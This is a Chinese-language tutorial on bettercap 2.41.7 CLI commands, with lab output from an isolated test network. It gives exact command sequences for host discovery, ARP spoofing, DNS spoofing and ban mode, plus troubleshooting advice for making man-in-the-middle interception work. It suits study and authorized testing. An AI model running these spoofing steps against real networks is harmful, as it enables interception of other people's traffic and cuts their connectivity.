bettercap 2.41.7 常用 CLI 命令详解
目标:本文详解 bettercap v2.41.7 交互会话常用 CLI 命令——会话核心命令(help/active/set/get 等)、模块开关范式与 net.recon/net.probe/arp.spoof/dns.spoof 全流程实测与排错,回显逐行照抄隔离内网实测(2026-10-24)。
bettercap 2.41.7 常用 CLI 命令详解
目标:本文详解 bettercap v2.41.7 交互会话的常用 CLI 命令——会话核心命令(help/active/set/get 等)、模块开关范式与主机发现/ARP 欺骗全流程实测,全部回显在隔离实验内网(10.89.67.0/24,测试目标机 10.89.67.3)逐行照抄(2026-10-24)。安装与配置见《bettercap 2.41.7 安装指南》、《bettercap 2.41.7 配置参数详解》。
一、环境信息
- 操作系统:Ubuntu 22.04 LTS(x86_64),root 权限
- 软件:bettercap v2.41.7(
built for linux amd64 with go1.24.13,/usr/local/bin/bettercap) - 实验网络:隔离内网 10.89.67.0/24,测试机(运行 bettercap)10.89.67.2/24 @ eth0,网关 10.89.67.1
- 测试目标机:10.89.67.3(busybox 环境,带 nslookup/curl/ping/arp 命令)
- 实测日期:2026-10-24
二、工具概览
bettercap 的 CLI 是两层结构:
- 启动参数(
bettercap -iface eth0 -caplet ...):进程级,启动时一次性解析,详见《bettercap 2.41.7 安装指南》 8.1 节; - 交互会话命令:进入类 shell 会话(提示符
<IP> »)后使用,分两类——- 会话核心命令(help/active/set/get/include/quit 等,固定 11 条);
- 模块命令(
<模块名> on/off/子命令,35 个模块各自的操作入口)。
会话入口与退出:
bettercap -iface eth0 # 绑定 eth0 启动(root)
quit # 会话内退出(交互 TTY 会二次确认 y/n)
💡 说明:
net.sniff/欺骗类模块需 root 与 NET_RAW/NET_ADMIN;非 root 启动时会话可进入但模块开启失败。
三、前置条件
- 已安装 bettercap v2.41.7 并能启动会话(
bettercap -version正常)。 - 实验在自有/授权的隔离内网进行,目标机与测试机同二层网段。
- 测试 ARP 欺骗前确认目标机在网(ping 通),并先观察其 ARP 缓存基线(本文用目标机侧
arp -n做前后对照)。
四、会话核心命令详解
4.1 help:命令与模块帮助入口
help 列出全部核心命令与 35 个模块及运行状态(实测节选):
help MODULE : List available commands or show module specific help if no module name is provided.
active : Show information about active modules.
quit : Close the session and exit.
sleep SECONDS : Sleep for the given amount of seconds.
get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
set NAME VALUE : Set the VALUE of variable NAME.
read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
clear : Clear the screen.
include CAPLET : Load and run this caplet in the current session.
! COMMAND : Execute a shell command and print its output.
alias MAC NAME : Assign an alias to a given endpoint given its MAC address.
Modules
any.proxy > not running
api.rest > not running
arp.spoof > not running
ble.recon > not running
c2 > not running
can > not running
caplets > not running
dhcp6.spoof > not running
dns.proxy > not running
dns.spoof > not running
events.stream > running
gps > not running
graph > not running
hid > not running
http.proxy > not running
http.server > not running
https.proxy > not running
https.server > not running
mac.changer > not running
mysql.server > not running
ndp.spoof > not running
net.probe > not running
net.recon > not running
net.sniff > not running
packet.proxy > not running
syn.scan > not running
tcp.proxy > not running
ticker > not running
ui > not running
update > not running
wifi > not running
wol > not running
zerogod > not running
⚠️ 注意:v2.41.7 没有
modules命令。敲modules直接报错(实测回显[err] unknown or invalid syntax "modules", type help for the help menu),模块清单必须用help查看。
help <模块名> 查看单模块的子命令与参数,如 help arp.spoof(实测完整回显):
arp.spoof (not running): Keep spoofing selected hosts on the network.
arp.spoof on : Start ARP spoofer.
arp.ban on : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.
arp.spoof off : Stop ARP spoofer.
arp.ban off : Stop ARP spoofer.
Parameters
arp.spoof.fullduplex : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)
arp.spoof.internal : If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network. (default=false)
arp.spoof.skip_restore : If set to true, targets arp cache won't be restored when spoofing is stopped. (default=false)
arp.spoof.targets : Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges. (default=<entire subnet>)
arp.spoof.whitelist : Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing. (default=)
4.2 active:运行中模块一览
active 只显示已开启模块的运行状态与参数(实测):
events.stream (Print events as a continuous stream.)
events.stream.http.format.hex : true
events.stream.output :
events.stream.output.rotate : true
events.stream.output.rotate.compress : true
events.stream.time.format : 15:04:05
events.stream.output.rotate.how : size
events.stream.output.rotate.format : 2006-01-02 15:04:05
events.stream.output.rotate.when : 10
events.stream.http.request.dump : false
events.stream.http.response.dump : false
net.recon (Read periodically the ARP cache in order to monitor for new hosts on the network.)
net.show.filter :
net.show.sort : ip asc
net.show.limit : 0
net.show.meta : false
4.3 set/get 与会话辅助命令
set/get 是运行时配置体系的核心,参数语义与持久化机制详见《bettercap 2.41.7 配置参数详解》,本节只列命令形态:
| 命令 | 示例 | 说明 |
|---|---|---|
set NAME VALUE | set arp.spoof.targets 10.89.67.3 | 修改变量,即时生效 |
get NAME | get net.sniff.filter | 查询单变量 |
get NAME* | get net.* | 通配查询 |
read VAR PROMPT | read TARGET "target ip:" | 交互式读入并存变量(caplet 交互用) |
alias MAC NAME | alias ca:2f:6c:79:b5:68 victim | 给已知 MAC 起别名,主机表与目标列表可引用 |
! COMMAND | !cat /proc/net/arp | 会话内执行 shell 命令 |
include CAPLET | include netmon | 执行 caplet |
sleep N / clear / quit | — | 停顿 / 清屏 / 退出 |
五、模块操作命令详解(实测全流程)
5.1 net.recon + net.show:主机发现与主机表
net.recon 周期性读取 ARP 缓存发现新主机,net.show 打印主机表。实测(目标机 10.89.67.3 上线后):
[20:16:55] [endpoint.new] endpoint 10.89.67.3 detected as ca:2f:6c:79:b5:68.
┌────────────┬───────────────────┬────────────────────────────────────────┬────────┬────────┬────────┬──────────┐
│ IP ▴ │ MAC │ Name │ Vendor │ Sent │ Recvd │ Seen │
├────────────┼───────────────────┼────────────────────────────────────────┼────────┼────────┼────────┼──────────┤
│ 10.89.67.2 │ b6:c3:38:2e:64:0a │ eth0 │ │ 0 B │ 0 B │ 19:16:53 │
│ 10.89.67.1 │ 2a:46:af:2f:97:d3 │ gateway │ │ 0 B │ 0 B │ 19:16:53 │
│ │ │ │ │ │ │ │
│ 10.89.67.3 │ ca:2f:6c:79:b5:68 │ bettercap-2.41.7-victim.bettercap-net. │ │ 2.9 kB │ 1.1 kB │ 19:16:55 │
└────────────┴───────────────────┴────────────────────────────────────────┴────────┴────────┴────────┴──────────┘
↑ 0 B / ↓ 4.1 kB / 26 pkts
💡 说明:主机表自动识别出
gateway行与目标机主机名;Sent/Recvd列统计该主机的会话内流量。net.show支持排序/过滤/限量(net.show.sort/net.show.filter/net.show.limit,默认 ip 升序)。
5.2 net.probe:主动探测
net.recon 只能被动等 ARP 缓存更新;net.probe 主动向全网段发包逼目标现身,实测开启后立即发现网关与目标机:
[19:30:58] [sys.log] [inf] net.probe starting net.recon as a requirement for net.probe
[19:30:58] [sys.log] [inf] zerogod service discovery started
[19:30:58] [sys.log] [inf] net.probe probing 256 addresses on 10.89.67.0/24
[19:30:58] [endpoint.new] endpoint 10.89.67.1 detected as 2a:46:af:2f:97:d3.
[19:30:58] [endpoint.new] endpoint 10.89.67.3 detected as ca:2f:6c:79:b5:68.
💡 说明:
net.probe on会自动级联开启net.recon(依赖关系);探测同时触发zerogod服务发现监听。用完即关(net.probe off)以减少网络噪音,这也是官方文档推荐的工作流。
5.3 arp.spoof:ARP 欺骗实测
help arp.spoof 回显见 4.1 节(含 ban 模式 arp.ban)。以下为同一实验内的三次实测,展示正确的命令顺序与典型报错:
实测一:目标未入主机表直接开启——报错
[19:29:51] [sys.log] [inf] arp.spoof starting net.recon as a requirement for arp.spoof
[19:29:51] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
[19:29:52] [sys.log] [war] arp.spoof could not find spoof targets
[19:29:53] [sys.log] [war] arp.spoof could not find spoof targets
...(每秒一条)
[19:30:08] [sys.log] [inf] arp.spoof waiting for ARP spoofer to stop ...
[19:30:08] [sys.log] [inf] arp.spoof restoring ARP cache of 1 targets.
原因:目标机还没被 net.recon 发现(主机表为空),spoofer 找不到目标 MAC。停止时自动恢复目标 ARP 缓存(restoring ARP cache of 1 targets)是默认行为。
实测二:先探测再开启(默认全网段目标)——成功
[19:30:58] [endpoint.new] endpoint 10.89.67.3 detected as ca:2f:6c:79:b5:68.
[19:31:05] [sys.log] [inf] arp.spoof arp spoofer started, probing 256 targets.
[19:31:20] [sys.log] [inf] arp.spoof restoring ARP cache of 256 targets.
[19:31:20] [sys.log] [inf] arp.spoof waiting for ARP spoofer to stop ...
命令顺序:net.probe on → sleep 5 → net.probe off → arp.spoof on。默认 arp.spoof.targets=<entire subnet> 时对 /24 全部 256 个地址发包。
实测三:指定单目标 + fullduplex
[19:32:06] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets.
[19:32:16] [sys.log] [err] error getting ipv4 gateway: Could not find mac for 10.89.67.1
[19:32:30] [sys.log] [inf] arp.spoof restoring ARP cache of 1 targets.
⚠️ 注意:
Could not find mac for 10.89.67.1是高频报错——fullduplex双向欺骗需要同时欺骗网关,若网关 MAC 不在主机表(探测未覆盖或网关禁 ping 无响应),解析失败。解决:先net.probe让网关入表,或用-gateway-override指定网关。
目标机侧前后对照(验证欺骗效果):目标机在欺骗开启前后分别执行 arp -n,实测两个时点网关条目均为 ? (10.89.67.1) at 2a:46:af:2f:97:d3 [ether] on eth0——ARP 表未变化,劫持未生效。
⚠️ 注意:本实验说明「spoofer started」只代表发包开始,必须以目标机 ARP 缓存实际被改写为准。未生效的常见原因:目标机静态 ARP 绑定/ARP 防护、欺骗报文被交换机/防火墙过滤、目标机 ARP 缓存未到期刷新。排查顺序:先在目标机
arp -d清缓存后立刻对照,再检查arp.spoof.fullduplex与网关 MAC 是否就绪。
5.4 dns.spoof:DNS 欺骗命令形态
help dns.spoof 实测回显(参数全表见《bettercap 2.41.7 配置参数详解》 5.4):
dns.spoof on : Start the DNS spoofer in the background.
dns.spoof off : Stop the DNS spoofer in the background.
Parameters
标准用法序列(实测执行):
set dns.spoof.domains example.test
set dns.spoof.address 10.89.67.3
dns.spoof on
sleep 12
dns.spoof off
dns.spoof 前置依赖 arp.spoof(把目标流量引到本机)或作为 DNS 服务器被指向;欺骗期间可在会话内用 !iptables -t nat -L -n 观察本机 NAT 规则配合情况。
5.5 模块开关通用范式
所有模块遵循同一命令骨架,记住一个模块等于会用 35 个:
<模块> on # 启动(自动级联启动依赖模块)
<模块> off # 停止(自动恢复依赖,如 arp.spoof 恢复目标 ARP 缓存)
<模块> <子命令> # 部分模块有额外子命令
set <模块>.<参数> <值> # 运行期调参(部分参数需 off 后再 on 生效)
实测子命令示例:net.sniff stats(打印嗅探器统计)、caplets.update(更新 caplets 库)、events.show 20(查看最近 20 条事件)、wifi.recon on(WiFi 侦查,需 monitor 模式网卡)、syn.scan 10.89.67.3 1-1000(TCP SYN 扫描)。
六、注意事项
- 授权边界:所有欺骗/嗅探命令只应在自有或明确授权网络中使用;
arp.ban会让目标断网,生产网段禁用。 - 命令顺序:欺骗类模块(arp.spoof/dns.spoof)开启前先用
net.probe把目标与网关探入主机表,可避免 5.3 节两类报错。 - 效果验证:模块启动日志 ≠ 攻击生效,欺骗类操作必须做目标机侧前后对照(ARP 缓存/DNS 解析)。
- 自动恢复:arp.spoof off 默认恢复目标 ARP 缓存;异常断电则不会恢复,长时间欺骗后建议在目标机手动
arp -d清缓存。arp.spoof.skip_restore=true可关闭恢复行为。 - events.stream 常驻:它是唯一默认自启模块,所有模块事件的观察出口;建议会话开始先
events.clear(清屏)再开目标模块,避免事件刷屏干扰。
七、常见问题
Q1:modules 命令不存在?
v2.41.7 无此命令,用 help 看模块清单、help <模块名> 看单模块帮助(4.1 节实测回显)。
Q2:arp.spoof on 一直打 could not find spoof targets?
目标不在主机表:先 net.probe on 等待 [endpoint.new] 出现目标 IP,再 net.probe off + arp.spoof on。
Q3:error getting ipv4 gateway: Could not find mac for <网关IP>?
网关 MAC 未探测到。先 net.probe 覆盖网关,或启动参数 -gateway-override <网关IP> 强制指定,再开 fullduplex。
Q4:欺骗开启成功但目标机流量没过来?
按 5.3 节排查:目标机 ARP 缓存是否被改写 → 网关是否就绪 → 本机 ip_forward 是否为 1(sysctl net.ipv4.ip_forward)→ 若需要看明文流量再叠加 net.sniff on。
八、参考链接
- 官方文档(modules 命令参考):https://www.bettercap.org/modules/ (2026-10-24 查询)
- 官方仓库:https://github.com/bettercap/bettercap
- 站内相关:《bettercap 介绍与选型指南》、《bettercap 2.41.7 安装指南》、《bettercap 2.41.7 配置参数详解》